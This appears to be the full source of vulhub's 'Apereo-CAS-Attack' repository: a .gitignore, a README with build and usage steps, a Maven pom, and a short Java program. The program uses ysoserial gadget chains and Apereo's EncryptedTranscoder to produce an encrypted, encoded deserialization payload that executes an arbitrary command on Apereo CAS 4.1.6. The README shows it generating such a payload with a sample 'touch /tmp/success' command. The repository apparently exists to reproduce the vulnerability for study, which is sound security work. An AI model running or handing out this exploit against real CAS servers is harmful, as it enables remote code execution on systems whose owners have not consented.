├── .gitignore ├── README.md ├── apereo-cas-attack.iml ├── pom.xml └── src └── main └── java └── org └── vulhub └── App.java /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Created by https://www.toptal.com/developers/gitignore/api/java,maven 3 | # Edit at https://www.toptal.com/developers/gitignore?templates=java,maven 4 | /.idea/ 5 | ### Java ### 6 | # Compiled class file 7 | *.class 8 | 9 | # Log file 10 | *.log 11 | 12 | # BlueJ files 13 | *.ctxt 14 | 15 | # Mobile Tools for Java (J2ME) 16 | .mtj.tmp/ 17 | 18 | # Package Files # 19 | *.jar 20 | *.war 21 | *.nar 22 | *.ear 23 | *.zip 24 | *.tar.gz 25 | *.rar 26 | 27 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 28 | hs_err_pid* 29 | 30 | ### Maven ### 31 | target/ 32 | pom.xml.tag 33 | pom.xml.releaseBackup 34 | pom.xml.versionsBackup 35 | pom.xml.next 36 | release.properties 37 | dependency-reduced-pom.xml 38 | buildNumber.properties 39 | .mvn/timing.properties 40 | # https://github.com/takari/maven-wrapper#usage-without-binary-jar 41 | .mvn/wrapper/maven-wrapper.jar 42 | 43 | # End of https://www.toptal.com/developers/gitignore/api/java,maven 44 | /my-repo/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Apereo-CAS attack 2 | 3 | ## Download 4 | 5 | [Click here](https://github.com/vulhub/Apereo-CAS-Attack/releases) to download latest binary JAR archive. 6 | 7 | ## Installation 8 | 9 | Steps to install: 10 | 11 | - Download [ysoserial](https://github.com/frohoff/ysoserial) to `ysoserial-master-30099844c6-1.jar` 12 | - Install it to local maven: 13 | 14 | ``` 15 | mvn org.apache.maven.plugins:maven-install-plugin:2.5.2:install-file -Dfile=ysoserial-master-30099844c6-1.jar -DgroupId=ysoserial -DartifactId=ysoserial -Dversion=0.0.6 -Dpackaging=jar -DlocalRepositoryPath=my-repo 16 | ``` 17 | 18 | - Build JAR file: 19 | 20 | ``` 21 | mvn clean package assembly:single 22 | ``` 23 | 24 | ## Usage 25 | 26 | Generate a `CommonsCollections4` Payload for Apereo-CAS 4.1.6: 27 | 28 | ``` 29 | java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success" 30 | ``` 31 | -------------------------------------------------------------------------------- /apereo-cas-attack.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 4.0.0 6 | 7 | org.vulhub 8 | apereo-cas-attack 9 | 1.0-SNAPSHOT 10 | 11 | apereo-cas-attack 12 | 13 | https://github.com/vulhub/Apereo-CAS-Attack 14 | 15 | 16 | UTF-8 17 | 1.8 18 | 1.8 19 | 20 | 21 | 22 | 23 | org.apereo 24 | spring-webflow-client-repo 25 | 1.0.3 26 | 27 | 28 | ysoserial 29 | ysoserial 30 | 0.0.6 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | maven-clean-plugin 41 | 3.1.0 42 | 43 | 44 | 45 | maven-resources-plugin 46 | 3.0.2 47 | 48 | 49 | maven-compiler-plugin 50 | 3.8.0 51 | 52 | 53 | maven-surefire-plugin 54 | 2.22.1 55 | 56 | 57 | maven-jar-plugin 58 | 3.0.2 59 | 60 | 61 | maven-install-plugin 62 | 2.5.2 63 | 64 | 65 | maven-deploy-plugin 66 | 2.8.2 67 | 68 | 69 | 70 | maven-site-plugin 71 | 3.7.1 72 | 73 | 74 | maven-project-info-reports-plugin 75 | 3.0.0 76 | 77 | 78 | 79 | 80 | 81 | org.apache.maven.plugins 82 | maven-compiler-plugin 83 | 84 | 8 85 | 8 86 | 87 | 88 | 89 | 90 | org.apache.maven.plugins 91 | maven-assembly-plugin 92 | 93 | ${project.artifactId}-${project.version}-all 94 | 95 | 96 | jar-with-dependencies 97 | 98 | 99 | 100 | 101 | org.vulhub.App 102 | 103 | 104 | false 105 | 106 | 107 | 108 | 109 | 110 | 111 | my-local-repo 112 | file://${project.basedir}/my-repo 113 | 114 | 115 | 116 | -------------------------------------------------------------------------------- /src/main/java/org/vulhub/App.java: -------------------------------------------------------------------------------- 1 | package org.vulhub; 2 | import org.apereo.spring.webflow.plugin.EncryptedTranscoder; 3 | import sun.net.util.URLUtil; 4 | import ysoserial.payloads.ObjectPayload; 5 | 6 | import java.net.URLEncoder; 7 | import java.util.Base64; 8 | import java.util.UUID; 9 | 10 | public class App 11 | { 12 | public static void main( String[] args ) throws Exception 13 | { 14 | String type = args[0]; 15 | String command = args[1]; 16 | String id = UUID.randomUUID().toString(); 17 | EncryptedTranscoder et = new EncryptedTranscoder(); 18 | Object obj = ObjectPayload.Utils.makePayloadObject(type, command); 19 | byte[] code = et.encode(obj); 20 | String payload = Base64.getEncoder().encodeToString(code); 21 | 22 | String data = URLEncoder.encode(id + "_" + payload, "UTF-8"); 23 | System.out.println(data); 24 | } 25 | } 26 | --------------------------------------------------------------------------------